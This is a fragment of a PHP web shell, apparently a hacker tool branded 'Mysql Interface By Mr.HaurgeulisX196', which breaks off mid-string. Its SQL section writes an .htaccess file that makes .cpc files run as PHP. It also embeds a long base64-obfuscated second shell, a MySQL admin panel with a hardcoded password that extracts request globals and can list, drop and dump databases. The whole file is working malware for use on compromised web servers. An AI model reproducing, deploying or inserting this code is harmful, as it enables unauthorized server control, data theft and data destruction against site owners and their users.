<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
</table>
</form>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'sql'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=sql" method="post">
<?php
echo "<center/><br/><b><font color=white>+--==[ Mysql Interface By Mr.HaurgeulisX196 ]==--+</font></b><br><br>";
mkdir('mysql', 0755);
chdir('mysql');
$akses = ".htaccess";
$buka_lah = "$akses";
$buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-php .cpc
";
fwrite ( $buka , $metin ) ;
fclose ($buka);
$sqlshell = 'PD8NCiRQQVNTV09SRCA9ICJyb290X3hoYWhheCI7DQokVVNFUk5BTUUgPSAieGhhaGF4IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgQnkgUzRNUDRIPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTUgY2VsbHNwYWNpbmc9MT5cbiI7DQoJZWNobyAiPHRyPjx0ZCBjbGFzcz1cIm5ld1wiPkhvc3RuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdG5hbWUgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkIGNsYXNzPVwibmV3XCI+VXNlcm5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZT48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjx0cj48dGQgY2xhc3M9XCJuZXdcIj5QYXNzd29yZCA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzd29yZD48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1yZXNldCB2YWx1ZT0nQ2xlYXInPjxicj5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjxwPjxociB3aWR0aD0zMDA+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1lID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIsICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPiI7DQp9DQoNCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsNCglnbG9iYWwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KCWlmKCAkZXJyTXNnID09ICIiICkgJGVyck1zZyA9ICJTdWNjZXNzIjsNCglpZiggJHF1ZXJ5U3RyICE9ICIiICkgew0KCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7DQoJCWVjaG8gIjx0cj48dGQ+UXVlcnk8L3RkPjx0ZD4kcXVlcnlTdHI8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8dHI+PHRkPlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIGxpc3REYXRhYmFzZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJFBIUF9TRUxGOw0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBEYXRhYmFzZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2NyZWF0ZV9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbGlzdERhdGFiYXNlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWxpc3REYXRhYmFzZXMoKTsNCn0NCg0KZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoJZWNobyAiPGgxPlRhYmxlcyBMaXN0PC9oMT5cbiI7DQoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlVGFibGU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGFibGVuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MTIwIG5hbWU9cXVlcnlTdHI+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBUYWJsZSA9IG15c3FsX2xpc3RfdGFibGVzKCAkZGJuYW1lICk7DQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJHRhYmxlbmFtZSA9IG15c3FsX3RhYmxlbmFtZSggJHBUYWJsZSwgJGkgKTsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgew0KDQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCglsaXN0VGFibGVzKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXkiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRGVmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFtZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoNCgkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIoIiApICkgew0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCSR2YWx1ZWxpc3QgPSBzdHJ0b2soICIgKClcbiIgKTsNCgkJCX0gZWxzZSB7DQoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQkJaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgIiwiICkgKQ0KCQkJCQkkRCA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JFBIUF9TRUxGPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbiI7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCjxmb250IHNpemU9MiBjbGFzcz0ibmV3Ij4NCiogYE1cJyBpbmRpY2F0ZXMgdGhlIG1heGltdW0gZGlzcGxheSBzaXplLjxicj4NCiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4NCjwvZm9udD4NCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9d